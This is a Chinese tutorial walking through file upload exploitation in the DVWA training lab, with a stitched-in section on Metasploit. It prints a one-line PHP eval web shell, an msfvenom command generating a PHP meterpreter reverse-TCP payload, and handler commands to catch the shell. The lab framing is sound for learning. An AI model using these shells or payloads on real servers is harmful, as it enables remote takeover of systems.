DVWA文件上传漏洞(upload)

本文详细介绍在DVWA平台上针对不同级别的文件上传漏洞的利用方法,包括直接上传、使用BurpSuite代理上传以及通过文件合并绕过限制的技术细节。

目录

1、low级别(直接上传)

1.1 上传文件

1.2 验证

2、medium级别(使用Burp Suite进行代理)

2.1 进行代理配置

2.2 文件上传

2.3 验证

3、high级别(进行文件合并)

3.1 文件创建

3.2 上传及验证


1、low级别(直接上传)


<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename( $_FILES['uploaded']['name']);

            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';
                
              } else {
            
                echo '<pre>';
                echo $target_path . ' succesfully uploaded!';
                echo '</pre>';
                
            }

        }
?>

PHP端实现文件上传的功能,不设置任何的检测,可以上传任意类型、任意大小的文件。

所以可以直接上传shell文件,上传完成后使用菜刀。

1.1 上传文件

shell.php文件的内容如下,只有一句话:

<?php @eval($_POST['123']);?>

在DVWA进行文件上传。

 

为了验证是否上传成功,可以进入这个网址,如果不出现NOT FOUND说明上传成功;

也可以去靶机下进行查看,靶机中的路径为/var/www/dvwa/hackable/uploads。

### Metasploit与DVWA文件上传漏洞利用 #### 背景介绍 安全测试人员经常使用工具如Metasploit来评估Web应用程序的安全性。对于存在已知漏洞的应用程序,比如具有不同级别安全性设置的 Damn Vulnerable Web Application (DVWA),可以模拟攻击场景以验证其脆弱点。 #### 文件上传漏洞原理 当Web应用允许用户上传文件到服务器上而未做充分校验时,则可能存在安全隐患。如果攻击者能够绕过这些防护机制成功上传恶意脚本(例如PHP木马),那么就可以远程控制该网站甚至整个服务器环境[^4]。 #### 使用Metasploit框架进行漏洞利用 为了展示如何利用这样的缺陷,在受控环境中可以通过以下方式操作: 1. **启动目标服务** - 配置好DVWA实例,并将其调整至较低难度模式以便于学习目的。 2. **准备有效载荷(Payload)** ```bash msfvenom -p php/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=8080 -f raw > shell.php ``` 3. **修改Payload伪装成图片或其他合法格式** 这一步是为了避开简单的文件类型过滤器。具体做法可能涉及更改文件扩展名或将实际代码嵌入看似无害的内容之中。 4. **实施攻击** 登录进入DVWA平台后找到“File Upload”功能页面,按照提示提交之前创建好的shell文件。一旦上传完成,尝试通过浏览器或者其他手段触发执行此文件。 5. **建立连接监听** 在本地机器开启Meterpreter session等待来自受害者主机的消息回连请求: ```bash use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost YOUR_IP set lport 8080 run ``` 此时应该可以在Kali Linux终端观察到来自靶机的新建Session信息,意味着获得了进一步探索内部网络资源的能力[^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值